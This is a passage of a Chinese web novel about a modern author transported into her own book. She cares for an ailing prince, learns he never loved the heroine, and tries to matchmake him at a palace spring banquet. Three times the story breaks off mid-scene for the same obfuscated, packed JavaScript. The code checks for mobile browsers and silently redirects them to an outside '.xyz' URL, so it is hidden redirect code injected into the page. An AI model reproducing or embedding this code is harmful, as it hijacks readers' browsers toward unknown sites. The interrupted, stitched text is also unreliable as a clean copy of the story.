穆衍完全不明白她为何一副失魂落魄的样子,但他不想她继续误解下去,所以他选择将一切讲述出来。 “淑瑶是我的远房表妹,她母亲与我母亲交情甚好,常带着她来王府玩。我没有别的兄弟姐妹,一直把她当亲妹妹看待。” “联姻关乎家族利益,婚事是长辈们口头约定的。她与我彼此知根知底,我们那时对此也没什么意见。” “后来淑瑶与太子殿下相识相知,他们互相爱慕,她说想要解除我们的婚约。” “我挽留她、阻挠她,是因为当时在我看来,还是三皇子的太子殿下并非良人。” “她是我的妹妹、我的朋友,我希望她能嫁给最合适的人,不要卷入这些纷争风云。” “再后来我也明白了,淑瑶远比我认知中的她更有魄力,他们俩天生一对。既然如此,我自会在力所能及处帮助他们。” 所以从头到尾一直都是好哥哥吗? 江沁月还是不甘心就此相信:“那殿下为何会突然发病?我以为殿下是气急攻心……” “殿下,皇上来了。”云霞进来通风报信,打断了二人的对话。 院中传来繁杂的人声,江沁月连忙从床边起身,和云霞一起退到一边。 皇帝进来时,江沁月偷偷瞄了这位九五至尊一眼,面容看上去不怒自威,约莫四十出头的年纪却花白了头发,瘦削的身形昭示着他的健康状况也不容乐观。 看来要当个好皇帝可不是一个轻松活儿。 “怎敢劳烦陛下亲自出宫来看望臣子……”穆衍说着便要起身下床给皇帝行礼。 “快快免礼,衍儿,你怎么突然发病如此严重?张院判,之前朕不是命你来好好诊治了吗?”皇帝扶住穆衍,问向太医时颇带几分怪罪。 跟在后面的张院判跪地叩首:“陛下恕罪,殿下的心疾本就极难彻底治愈,且每发作一次都会给机体带来不可逆的损害。微臣开的药方能护住心脉减少发病次数,但需要长期坚持服用才有效果。” “殿下平日里未能谨遵医嘱好好服药,长期心气郁结,又多饮了酒,这才诱得发了病。” 穆衍没来得及说什么,皇帝便转头将怒火撒向在场的王府中人:“你们平时是怎么照顾的?衍儿现在身体如何你们还不清楚吗?” 云霏和云霞连带着房间内的侍从们哗啦啦跪倒一片,江沁月犹豫了一下,自己一个人站着太鹤立鸡群,便也跟着跪下了。 “陛下莫要怪罪,他们都是尽心尽力做事的,是臣自己不想吃药,常将人支开就把药倒掉了……”穆衍维护道。 江沁月心道难怪窗下的花丛看起来半死不活蔫蔫的,原来是快被药浇死了。 别拿自己的身体开玩笑啊!穆衍同志你一定要好好活下去! 皇帝闻言重重地叹了一口气,语气有些无奈:“衍儿……见你如今这样,朕自觉十分对不起你父亲。” 皇权之下,纵然是血亲又能有几分真感情?把亲儿子丢去行宫不管不顾的不也是他吗? 江沁月垂首跪在地上,默默听着皇帝对好侄儿的关怀。 “……你年纪也不小了,是时候该娶妻了,身边有个知冷知热的人也好。” 皇帝话锋一转开始催婚,江沁月敏锐地竖起耳朵,帮穆衍另组CP可是她和漆桐讨论过的任务方向之一。 “多谢陛下好意,但臣实在无意娶妻。”穆衍淡淡道。 “灼儿比你小几岁都成婚了,”皇帝道,“可是有心仪的姑娘不好意思说?家世门第也没那么重要,你喜欢就好。” “…没有,陛下不必……” 皇帝自然不容他拒绝:“没有的话朕自会帮你相看的。” “……”穆衍没再多说什么。 江沁月猜测皇帝既然这样说,那他心中应该已经有了人选。 皇帝没呆太久便走了,在场众人总算是松了口气,但依然没人敢挪动,都等着穆衍发话。 “没事了,大家各自去忙吧。” 众人作鸟兽散,房间里又只剩下了穆衍与江沁月二人。 江沁月揉了揉跪得生疼的膝盖——可恶的封建主义。 “快坐下歇歇。”穆衍伸手拍了拍床沿,“其实沁月你不必跪的,这跟你没关系。” “也不是完全没关系,我一来殿下的药便没喝完,莫不是又想待会儿偷偷倒掉?” 江沁月笑着指了指床头那半碗被他搁下的药,她决定包揽下监督穆衍好好吃药的活计。 穆衍也笑了,他闭了闭眼,再开口时有些赌气般的任性:“……不想喝。” “为什么不想喝?” “药太苦了,喝得我想吐。” 说着他瞥了一眼床头的药碗,依旧岿然不动,柔顺的发丝垂落在肩头,像一只倔强挑食的大猫。 病中之人,大抵是有些小孩子心性,难免娇气些,江沁月心软地打算哄哄他。 正准备说些什么,却听他接着道,“喝了也好不了,这药日复一日地端来,只是一遍遍提醒我,我这辈子都没指望了。” “殿下别这样想,喝了药才能活下去,好好活下去才能追求自己想要的生活呀。”江沁月温言细语道。 “既然无法痊愈,那每多活一天都是赚到。老天让你之前吃那么多苦,总得活到赚回本才行。” 江沁月叫来人把药端去重新热过,将药碗递到他眼前:“殿下,喝药吧。” 眼前的女孩执着地端着药碗,笑吟吟地看着自己。 穆衍不理解她的执着,可是心底浓重的阴霾似乎被这样明媚温暖的阳光驱散了一些。 他正要接过药碗,又想起什么似的收回手:“我有点没力气,沁月你喂我吧。” 他贪心地想要多寻求一些温暖。 “长痛不如短痛,殿下一口闷了吧。” 见他懒懒地倚在床头,眼中带着几分漫不经心的试探,哪里是没力气的样子?江沁月只当他在闹小孩子脾气。 “药喝得太快的话,更容易想吐……”穆衍拖长声音委屈道。 江沁月妥协了,找来勺子一点一点地喂他喝完了药。 “我记得殿下之前在邀月轩时很喜欢百花酥,殿下只要每天乖乖喝药,我就每日做来给你解苦如何?” 今天——不,今后的每一天,她都要监督穆衍好好喝药。 “好啊,江姑娘可不许嫌麻烦。” “当然不嫌!我做点心还是有一手的,殿下也可以期待一下!” 穆衍笑着点点头,不再去想她为何对自己这般在意。 他相信此刻她是真心关切自己,这就够了。 看他不似刚才那般消沉,江沁月想着这应该是被自己哄好了,便顺势提起了另一档事。 “殿下,我能问问为何你不想成婚吗?刚刚听陛下的意思,他似乎希望你赶紧娶妻。” “我自己都不知道还有几天好活,何必耽误人姑娘家?”穆衍自嘲道,“活又活不好,死也死不了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185383|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下别这样想……而且非要说的话,也不算耽误人。” 穆衍挑眉看她:“此话怎讲?” “殿下若是真的英年早逝,那留下的家产也够王妃花几辈子了吧?” 江沁月掰着指头数道:“有钱有闲有地位,能过上这样的生活怎么能算耽误人?” 穆衍闻言哈哈大笑:“沁月说得这么好,那我娶你,你来做我的王妃可好?” 说话时穆衍倾身靠得近了些,屋里浓郁的熏香也掩不住他身上混合的药味。 江沁月的呼吸不禁滞了一瞬。 “我就算了吧?我可不想再克死一个丈夫了。”她调侃道。 这话自然只是二人间说笑,不过穆衍所言好像还真是个不错的提议。 美貌的丈夫,巨额的财富,江沁月做梦都不敢过这种好日子。 不过她总是要回家的,书中的金山银山于她也如浮云,只能望洋兴叹了。 …… 确定了穆衍并无大碍,江沁月却并未放下心来。 这天晚上她早早地洗漱收拾完毕,钻进被窝摸出手机,点开了《东山起》的本地资源。 穆衍说自己没喜欢过颜桃,身为作者的江沁月不信这个邪。 她决定从头到尾亲自重读一遍。 江沁月看得很快,因为只打算着重看穆衍相关的剧情,其他部分便一目十行了。 看完全文后,窗外天色仍是一片漆黑,江沁月关掉手机屏幕,抱着被子沉思良久。 全文大几十万字,她竟真的从没明写过,穆衍对颜桃究竟是何种心意。 作者默认了男二喜欢女主,读者理所当然也这样想,偏偏男二本人不这样想。 或许是他作为男二的工具人属性太强,或许是他的人设太过温和克制,连江沁月在写作时也常常忽略,他是一个有血有肉有灵魂的角色。 若不是穿书来此走一遭,她也无法得知穆衍真实所想。江沁月想想也就释然了。 “重大发现,十万火急,得空速来。”想通了的她给漆桐发了消息。 这个情况还是很有必要告知漆桐的,而且面对面促膝长谈比较好。 最近她给漆桐汇报情况时,这位天庭苦命打工人似乎又忙碌了起来,开启了轮回模式或者直接已读不回了。 江沁月也懒得等她回复,仰面一倒被子一盖准备睡觉。 穿越之后她一向早睡早起作息规律,很少熬到这么晚。 就在快要进入梦乡时,她感觉身边的床铺陷了下去。 江沁月翻身坐起,只见漆桐就这样突兀地出现在自己床上,还试图卷走她的被子抵御初春深夜的寒意。 她紧紧攥住被子不撒手,咬牙切齿道:“仙君,扰人清梦是非常失礼的!而且这是我!的!床!” “哎——我忙得快起飞了还抽空来看你,就让我歇歇嘛。”漆桐双手抱胸闭目养神,“说吧,什么重大发现?” 江沁月长叹一口气也躺回床上:“穆衍根本不喜欢颜桃。” “嗯……嗯?”漆桐半支起身子,一手撑着脑袋一手戳了戳她,“什么情况?快给我解释清楚。” 江沁月便将穆衍的话以及自己复盘后的想法都讲了一遍。 “言之有理,”漆桐煞有介事地点点头,“那你接下来打算怎么办?” “事已至此,咱们这又是言情小说,我觉得还是帮他组CP比较合适,有情人终成眷属自然是好结局。”江沁月道。 “找谁组CP也不必我们操心,我估计皇帝很快就会帮他相亲了。” “好吧,”漆桐重新躺好,接着嘀咕道,“沁月啊,不是我说你,你时刻不忘任务,但进度始终为零,你上班也是这个工作效率吗?” 21. 聊以慰苦赠金香 仙人板板!说她就算了,还提起了她闹心的现代工作,江沁月的怒火“噌”地一下蹿了上来。 “穿越前我还在尽职尽责地加班!工作是我一个人的吗?我可不像某人只当甩手掌柜,任务进展缓慢你就没责任吗?说好的一根绳上的蚂蚱呢?” 江沁月越说越气:“还有!你又看不到任务进度,怎么知道为零?你连那些人机系统都比不上!” “好啦别生气嘛,都是打工人我当然知道你的不容易。我保证,无能的我也会努力的!我回去就想想办法看能不能摸清任务进度。” 漆桐戳了戳江沁月气鼓鼓的腮帮子,接着问道:“不过沁月啊,我小小地八卦一下,你觉得穆衍这样的角色与什么样的女孩子最相配?” 江沁月很是认真地思考了一下,然后道:“我也不知道。” “人总会被与自己互补或相似的人吸引,穆衍温和淡然,活泼可爱者与他动静结合,温柔贤淑者同他琴瑟和鸣。沁月你以为如何?”漆桐提出了自己的想法。 “以前我或许会认同你,但这段时间相处下来,他于我而言不再是可以被单薄标签定义的纸片人。我想这个问题的答案,只有他自己的心知道。”江沁月闭目叹息。 “我希望他可以按照自己的心意而活,能遇见真心相爱的人共度余生。” 漆桐笑道:“我估计这个世界里没有比你更真心待他的人了。” “这么说好像也没错,虽然我是为了回家,但我也是真的希望他好……” 困意上涌,江沁月呢喃着进入了梦乡。 …… 江沁月每日的生活开始变得规律而忙碌充实,清晨起来先去厨房做好百花酥带去清秋苑,一日三餐每顿饭后监督穆衍好好喝药,下午空闲时分去书坊筹备《四时杂谈》相关事宜。 有邀月轩的宣传,还有颜桃的暗中支持,各路投递的稿件纷至沓来。 有意思的是,投稿的有很多是京中各大家族的夫人小姐们,虽然来稿都署的是笔名,但那些上等的纸墨和秀丽的簪花小楷还是透露出投稿者的身份不低。 文人墨客大多自视清高,不稀罕写这些通俗故事。但这些高门女子闲来无事,又有颜桃的“带头”作用,反而对这事来了兴致。 她们大多受过良好的教育,写起故事来自是信手拈来,文采斐然各有千秋。 江沁月自愧不如,筛选稿件时更是纠结,常带给穆衍看看,让他一起掌掌眼,再拿去跟林三这位说书合伙人一起探讨,决定这些稿件的去留。 又一日清晨,江沁月将新鲜出炉的百花酥放进了食盒,伸了个大大的懒腰。 云霞自然而然地拎起食盒,见她还有几分睡眼惺忪,便道:“江姑娘其实不必如此辛苦,可以把做法教给王府的厨子就好。也请姑娘放心,他们不会泄露配方的。” 江沁月闻言笑了笑:“我不是担心这个,只是我既然答应了殿下,那就要说到做到每日亲自做去。” “江姑娘对殿下真上心,不过托姑娘的福,殿下总算是能好好喝药了,之前我们谁劝都不管用。”云霞诚挚地感激道。 “不能怪我上心,你不知道,那天殿下发病的时候真是把我吓坏了……” 两人说笑着便走到了梧桐苑,穆衍正等着江沁月来一起用早膳。 这几日以来,他的气色已是好了不少,看起来已经是个没事人了,但江沁月依旧谨遵医嘱好好监督,一碗药也没让他落下。 饭后要等上小半个时辰再服药,江沁月因为起太早而哈欠连连,打得眼角都溢出了泪花。 穆衍瞧她这副困顿摸样,心生几分歉意:“每天这样实在是太麻烦你了,你本来也有自己的事要忙。” “呃——不麻烦!”江沁月生生憋住打了一半的哈欠,“答应了殿下自然就要做到,殿下能乖乖喝药便值得。” “我答应你,以后会按时好好喝药的。”穆衍像是怕她不信,接着道,“沁月要是不放心也可以亲自监督我,但不必再用点心哄着我了。” 这就对了嘛,见他态度诚恳,江沁月甚是欣慰。 “好吧,但我一向说话算话,殿下以后若是想吃百花酥就告诉我,别的点心我也能学来做给殿下,只要殿下不嫌弃就好。” 穆衍笑道:“怎么会嫌弃?江姑娘的百花酥真是一绝,王府上下吃过的都赞不绝口。” 每天出炉的百花酥自然不是穆衍一人能吃完的,多余的便分了出去,广受王府众人好评。 时间差不多了,穆衍端起药碗一饮而尽,还将空碗倒了倒,示意江沁月自己喝完了。 江沁月看他被苦得皱成一团却依旧好看的眉眼,起了几分调戏的心思。 “还是要严格监督殿下。”她蓦然伸手抚上穆衍衣襟,指尖略微挑开又自上而下划过,最后停在了他腰带上。 隔了数层布料,她还是能感受到穆衍肌肉的微微紧绷。 穆衍的脸上浮现出几分错愕,这猝不及防的行为属实有些逾矩。 但美色在前,江沁月敢作敢当,转念间为自己想好了托辞。 “监督殿下喝药我还是义不容辞,只是殿下今日穿的深色衣服,把药倒身上我也看不清,只得上手检查一下。”一番歪理被她说得头头是道,“确定殿下真的喝完了药,我也就放心了。” 江沁月说着正要收回手,穆衍却握住了她的手腕按回自己胸口:“是吗?那沁月不再检查得仔细些吗?” 他很是用了些力气,江沁月被带得一个趔趄差点扑到他身上。 穆衍衣服上的馥郁香气扑鼻而来,大抵是身体好了些,总算是有精力拾掇自己了。 他的手指修长白皙,在这春光乍暖的时节却依旧冰凉,江沁月试了几次都挣脱不开他的桎梏。 穆衍似笑非笑地看着她,还在等着她的回答。 江沁月只觉得自己偷鸡不成蚀把米。 她不答,别过头生硬地岔开话题:“殿下身上好香!似乎比之前用的香更浓烈些?” “太医这几日给我开了药浴的方子,那味道太难闻,只有浓香才压得住。”穆衍深深地叹了口气。 “为了身体好,殿下还是得听太医的话……”江沁月听他幽怨的语气,以为他又要逃避治疗。 却听穆衍接着道:“沁月不放心的话,也可以每晚来监督我药浴。” 原来是在这等着她呢!江沁月心中冷笑,她真敢来的话他真给看吗? 她赌气似的冷哼道:“殿下既已喝完了药,我也就不多留了。书坊那边样刊应该已经印好了,我还得赶着去瞧瞧。” 总算是抽回了自己的手,江沁月逃也似的离开了梧桐苑。 手上似乎仍残留有她手腕上的余温,穆衍指尖轻捻,不知在想些什么,也完全没察觉到身边来了人。 “…殿下?”云霏轻声唤道。 自己一进来殿下便是这副出神的样子,而方才似乎瞧见江姑娘正从梧桐苑走出去…… 大抵是殿下的心也跟着飘远了。 不过他要说的事正与此有关。 “属下打探了些益州那边的消息。”云霏道。 “你也学会自作主张了,”穆衍回过神来,睨了他一眼,“查到了些什么?” “怪就怪在,什么也没查到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205824|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”云霏说,“若江姑娘所言非虚,那她夫家那档子事,在当地多半会有所传扬,但属下并没有打听到任何消息。” “许是益州境内穷山恶水多歧路,消息较为闭塞。”穆衍淡淡道。 见他主动帮江沁月开脱,云霏一时不知该如何接话。 他尽可能委婉道:“殿下看是否有必要打点一下那边的官员,让人多留意些?” “不,不必再查了。”穆衍想也没想便直接拒绝的他的提议。 掩耳盗铃。 “……属下遵命,可是殿下…殿下有没有觉得,江姑娘看起来很眼熟?” “你觉得像谁?” 云霏的神情十分惆怅:“我也想不起来……属下也不认识多少人,可是第一次见江姑娘时便觉着在什么地方见过……” 穆衍失笑:“你自己都说不出个所以然来,别想那么多了,真有什么,你妹妹也在她身边看着。” “阿霞心思单纯,而且我看她跟殿下一样,很是喜欢江姑娘呢……”云霏嘟囔道。 喜欢。 穆衍抓住了这个词。 他喜欢吗?怎么样才算是喜欢? 是常常想要见到她,忍不住去关注她维护她?想对她了解更多,却又刻意逃避那些不想知道的事? 他的喜欢,是和云霞一样的喜欢吗? 或许是吧,沁月是他们难得亲近的……朋友。 他不再去想。 …… 时至春分,《四时杂谈》的春分篇如期发行,有好评如潮的《东山起》话本在前,又有邀月轩的帮忙宣传;还有各家小姐夫人们的投稿保质保量,太子妃的亲笔插图可遇不可求…… 总而言之,《四时杂谈》在各家书肆中广受欢迎,反响也很是不错。 “事情能进展得如此顺利,还要多谢殿下的鼎力相助,”江沁月递去一个锦盒,“小小谢礼,还请殿下一定要收下。” “沁月何必如此客气?我只不过借了书坊给你,至于能否做成,靠的都是你自己。”话虽如此,穆衍还是收下了谢礼。 “话也不能这样说,那书中故事也不全是我所写,插图更是得感谢太子妃了,”江沁月笑道,“殿下先看看谢礼喜不喜欢?” 穆衍打开锦盒一看,里面躺着一只精巧绝伦的球形镂空金香囊。 其镂空外壁上雕刻着繁复华丽的花鸟纹,内部的两层同心圆机环设计玄妙,使其中香盂里盛放的香料无论如何也不会洒出。 “好别致的香囊,是沁月自己设计的吗?”饶是穆衍也有些讶异,看了好半晌才笑着答话,“多谢,我很喜欢。” “是之前在其他地方见过类似的,我可没这个本事。”见他眼中欣喜不似有假,那自己一番心意也不算白费。 江沁月冥思苦想许久才决定以此作为谢礼,之前她本想与穆衍分成收益被拒绝了,寻常的金银珠宝身为皇族的穆衍也不缺,便只能在礼物的设计上动用一些巧思了。 她想起了曾经在博物馆中看到过的香囊,来大梁这么久还没见过同款。 江沁月便又找到了帮她打造出给主角大婚贺礼的那位工匠。 这里不得不叹服于大梁的工匠精神,江沁月自然不知道博物馆文物中的精巧机关是如何设计的,但那工匠还真就根据她的描述成功做出来了。 “殿下,太子殿下和太子妃来了。”云霏风风火火进来传话,打断了二人的鉴宝环节。 “快请进。”穆衍说着将香囊收回了锦盒,放到了一边的博古架上。 片刻后,穆灼与颜桃携手而来,他率先开口道:“堂兄的身体可好些了?” 22. 赏春佳宴一线牵 襄王殿下再度病倒的消息早已在京城中传扬开了,普通人不知其中内情,但他的病情在权贵圈子里已经不是秘密。 “多谢太子殿下关心,我已经好多了。”穆衍客气道。 “堂兄与我不必如此拘礼,只是千万要保重,别拿自己的身体不当回事。”穆灼语重心长。 明明他年纪小些,这话却将穆衍说成了不懂事的小孩子似的。 不过喝个药都得人哄着,确实也跟小孩子差不多了——就事论事。 几人闲聊一阵,颜桃主动提起了另一件事:“三月初三上巳节,陛下拟于京郊行宫中举办赏春宴,殿下身体无碍的话,希望届时与沁月姐姐能一道前来。” “正是百花盛开的好时节,堂兄一向爱花,定不能辜负这好春光。”穆灼接过话,与颜桃唱起了双簧。 “这也是父皇的意思,他也希望你出去走走,别老呆在府里闷出别的病来。”他长叹一声,接着道,“父皇近来身子也不太康健,却也总记挂着你。” 这是不给人拒绝的机会了,穆衍便应了下来。 “那……我也一定要去吗?”江沁月试探道。 她既没有合适的身份,也不是什么社交达人,并不想去这种宴会凑热闹。 “沁月姐姐一起来吧,陛下身子不好,赏春宴便全权交给我们操办了,”颜桃道,“也不算什么正式宫宴,就当是郊游踏青好了。” 话已至此,江沁月也不好再多说什么。 “对了,《四时杂谈》发行后我还未曾看过,沁月姐姐能带我去书坊看看吗?”颜桃朝江沁月眨了眨眼。 江沁月本想说她去拿来就好,但瞧着颜桃的神情似是有别的话想说,便与她一起向书坊走去。 从梧桐苑出来后没走多久,行至一僻静处时颜桃便停下脚步,转身握住了江沁月的手。 “《四时杂谈》我早已叫人买来看过。实不相瞒,其实我是另有一事要拜托沁月姐姐。”颜桃低声道。 “太子妃请讲,只要我能帮得上忙,定是在所不辞。” “别这么生分,既然是朋友,那私下里和往常一样叫我淑瑶就好,”颜桃苦笑道。 她们正站在一片花园里,枯树发出了新绿的芽叶,满园芳菲竞相盛放,冬日里的萧条早已不见。 颜桃望着园中盎然的春意,好看的眉眼间攀上几分苦恼:“需要姐姐帮忙的事,正与那赏春宴有关。” 原来这赏春宴更像是一场游园会,宾客们赏花吟诗,曲水流觞。且因着京城权贵族中的年轻男女都会参加,所以也有点相亲大会的意思。 “所以是要给襄王殿下选妃?”江沁月心念一动。 任务啊任务!终于要有机会了吗? “陛下是这个意思……而且似乎已有比较中意的王妃人选。”颜桃愁眉不展,“但是……” 江沁月连忙追问:“陛下中意的是哪家小姐?” “青州刺史李大人的长女,李妍。” 江沁月闻言也蹙起了眉头:“李大人?是从前的李相?” 颜桃点点头,又叮嘱道:“此事先莫要让殿下知晓。” 李相的好大儿,正是当初给了初来京城的穆衍好果子吃的李岱。 要想将一个大家族连根拔起谈何容易?只手遮天的李家到最后也并未彻底倒台,李相被贬去青州做了刺史,离京城并不算太远,而李家大部分族人也好端端地留在京城里,包括李相的妻儿。 皇帝自然不会知道穆衍与李家的小恩怨,他不过是从政治利益上考虑——李家与不可能再掌握实权的襄王结亲,总能让人放心些。 “若是二人彼此无意,那结为夫妻不过是互相折磨,何其不幸?”颜桃叹息道,“沁月姐姐会不会觉得我这话太天真?婚姻本就听凭父母之命媒妁之言,能自己做主婚事,两情相悦的才是少数。” “不会,少数的才是幸运。”江沁月回答得很坚定。 在这个架空的封建大背景下,主角是为数不多能听凭本心追求真爱的人。 若是他们都失去了天真,故事还有何存在的意义? “等等……所以我是要帮忙撮合李大小姐和殿下吗?” 颜桃连连摆手:“不必强求,找机会让他们认识一下就好了。你也可以留意一下,殿下是否有其他中意的姑娘。” 江沁月一口答应了下来,任务转机这不就来了吗? 她一定努力担负起红娘的职责。 …… 三月初三,天朗气清,行宫中花木繁盛,清晨的阳光洒落,照亮了融融春色。 在江沁月“想开开眼界见识皇家气派”的委婉请求下,穆衍与她一早便到了京郊行宫。 但她当然不是真的上这旅游观光来了。 “殿下,趁着现在人少,我们先去芳华殿看看吧?淑瑶说最名贵稀罕的花草都在那里了。”江沁月道。 宴会是在中午进行,早来的可以在行宫中自行闲逛游玩,也方便各家公子小姐们互相结交。 颜桃便让江沁月引着穆衍早些来,她会让李妍在芳华殿等着,让这二人“偶遇”认识一下。 芳华殿果然不负盛名,从宫苑到主殿都簇拥着各色名贵花卉,芍药牡丹争奇斗艳,姹紫嫣红让人目不暇接。 而在这艳丽的百花丛中,静静伫立着一道窈窕身影。 江沁月不太确定那是不是李妍。 她之前打听过,据说这李大小姐骄纵惯了,和她亲哥哥李岱都是一样的跋扈性子。 不远处那背对他们而立的女子闻声回头,她眉目清婉,笑容恬淡,一身素雅的白裙在万紫千红中反倒显得出挑。 这活脱脱就是画中的古典美人走出来了,哪里有半点骄纵跋扈的样子? 江沁月深刻地感受到了古代人与现代人的差距,自己也是同样素净的打扮,却学不来人家优雅端方的仪态气度。 不过她一个现代人也不必追求这些,当一个讲文明懂礼貌的好青年就行。 女子款步来到他们面前,向穆衍行了一礼:“青州刺史之女李娴,见过襄王殿下。” 接着她又向江沁月微微颔首:“见过江姑娘,前几日在《四时杂谈》上看见了自己的投稿,我喜不自胜。” 江沁月有些意外,但并未追问她的作品是哪一篇,既然都用了笔名,那便是不想暴露身份。 而且眼下她更在意另一件事:“你是李妍大小姐的姐妹吗?” “是,我是她的庶妹。长姐今日晨起偶感不适,怕爽约失礼便让我来告知殿下一声,也顺带向殿下赔个不是。” 穆衍有些不明所以,但还是道了句无妨。 江沁月面上风平浪静,心底里却在尖叫咆哮,眼见着可能要有点起色的任务,难道就要这样夭折了吗? “听闻殿下前些日子病得严重,如今可好些了?”李娴说话时的语气也如这三月春风一般和煦柔婉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236512|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “臣女怕让殿下久等便一早赶来了,没想到殿下也来得这么早。” “本王已无大碍,江姑娘第一次来京城,难得有机会见识一下皇家园林风光,我们便想着早些来逛逛。”穆衍温声道。 江沁月望着眼前二人,一个是温润如玉的矜贵亲王,一个是温柔贤淑的官家小姐…… 这样一看他们二人是不是也挺般配的? 她一下子福至心灵——既然都是李家的小姐,那这红线牵谁不都是牵嘛。 “眼下时辰还早,不如我们一起去泛舟游湖?李二小姐也一起来吧!”江沁月提议道。 李娴应是没料到这突如其来的邀约,愣怔了一下,随即便浅笑着答应了。 穆衍也没说什么,一如既往的温和淡然。 翠微湖上碧波荡漾,湖边画舫云集,倒让江沁月有些措手不及。 大概是贫穷限制了她的想象。 她以为的泛舟游湖是像公园里划船那样,自个儿拿着桨板悠哉游哉,这样就可以让穆衍与李妍齐心合作划小船,增加互动培养默契。 心里盘算了半天,结果是豪华游轮啊。 不过让宾客们在这偌大的湖中撸起袖子嘿咻嘿咻划船,似乎确实有些不太优雅。 江沁月心情复杂地与二人一同登上画舫,春风和暖,这艘画舫中也只他三人,他们便直接上了二楼,来到后舱的观景平台。 她特意放慢了脚步,等另外二人在栏杆旁站定,才走过去站在了李娴身边。 穆衍转头看了她们这边一眼,李娴正对上他的视线,有些不好意思地移开目光,江沁月则无知无觉地撑着脑袋欣赏眼前的湖光水色。 自己一番用心良苦,也不知能起到多大作用…… 两个温和的人碰在一起的坏处就是——他们很难擦出火花。 她也不是个很会活跃气氛的人,只得没话找话与李娴闲侃几句,顺便有意无意地将话题往穆衍身上引。 李娴说起话来总是温柔得体的,但提及穆衍时常带着几分羞怯。 “殿下果然如传闻中所说一般,待人接物十分亲和,”李娴含笑道,“与我长姐大哥他们是截然不同的性子。” 江沁月能看出来,她对穆衍是有点意思的。 倒是穆衍今日的话格外少,江沁月也拿不准他的心思。 “殿下有没有哪里不舒服?要不要进船舱去休息会儿?”她关切地问了一句。 穆衍的脸色看上去倒是没什么不好,但上次病发时的情形把江沁月吓得不轻。 而且太医说他的心疾每发作一次都会给机体带来不可逆的损害,她希望别再有下次了。 “不必担心我,难得出来便玩个尽兴,我没那么虚弱。”穆衍越过李娴看向她,宽慰她似地笑了笑。 画舫渐渐行至翠微湖心,凭栏远望,近些处是波光粼粼绿柳拂堤,更远处是亭台楼阁雕梁画栋,整座行宫的风光尽收眼底。 “江姑娘现如今是住在王府上吗?”李娴突然问道。 “对,毕竟殿下和我在某种意义上也是上下级关系嘛,”江沁月道。 这话也没毛病,穆衍将书坊交给她让她放手去干,已经能算是她的天使投资人了。 她接着笑道:“殿下一片好心留我暂居王府,我也十分感激,这样来去书坊能方便许多。” 江沁月滔滔不绝地夸赞着这位绝世好老板,但她没有看见穆衍的欲言又止。 23. 你纠我缠无止休 穆衍垂眸看向腰间的镂空金香囊,那是江沁月送给他的。 他喜欢并珍视这份礼物,所以今日特地佩上。 低垂的睫羽掩住了眼中的阴翳,修长的指尖无意识地绞着香囊下垂坠的流苏。 她说,他们只是上下级。 原来她是这样想的吗? “沁月之前亦帮过本王大忙,一来二去间,我们也能算得上朋友了。”穆衍说着看向了江沁月。 对上他那双墨黑的眼眸,江沁月下意识地点点头,算是认可了他的话。 她看见穆衍似乎笑了一下。 一阵风起,吹散了方才遮蔽住太阳的积云,阳光重新洒落在湖面上,折射出点点细碎的金光。 湖心风大,吹得几人衣摆翩飞,猎猎作响,也掀起了浪,连带着画舫也有些晃荡,他们便准备去船舱内歇息片刻。 江沁月不太穿得惯这古代的曳地长裙,再加之船身摇晃,她一个没注意便踩住了裙角,被绊得失去了平衡。 “哎呀——” 电光火石间,江沁月尽力扭转了身体角度,狠狠倒向了身侧的李娴。 李娴身形纤弱,猝不及防被她这么一撞后也站立不稳,跌向穆衍的方向。 对不住了妹子,虽然我就是故意的——她在心中默默向李娴道歉。 江沁月结结实实地与地面来了个亲密拥抱,但眼见穆衍及时接住了李娴,她还是露出了欣慰的笑容。 这跤不白摔!她是个敬业的好红娘,当然要兢兢业业,抓住时机为二人创造机会。 然而穆衍与李娴的肢体接触转瞬即逝,二人看她摔得狼狈,连忙过来查看她的情况。 “沁月!你没事吧?有没有伤着哪里?”穆衍将她扶坐起来,语气十分关切。 “没事没事,嘶……”江沁月膝盖疼得厉害,本想嘴硬,却在试着站起来时又重重地摔了回去。 更要命的是,她这一下直接跌坐到了穆衍身上。 “别逞强。”穆衍伸手扶住了她的腰,替她稳住身形。 江沁月几乎是整个人趴在了穆衍怀中,她很不习惯这样的亲密接触,感受到穆衍横亘在腰间的双手,她整个人都十分僵硬不自在。 这动也不是,不动也不是…… 果然,强扭的瓜不甜,硬塞进嘴里的豆腐也没那么好吃。 事情的发展真是超乎江沁月的想象,两位相亲嘉宾没什么进展,她这个红娘却扑进了穆衍的怀抱,这像话吗? 好死不死,她抬眼便看见穆衍今日穿着的浅色常服上显眼的一抹嫣红——她的口脂不小心蹭上去了。 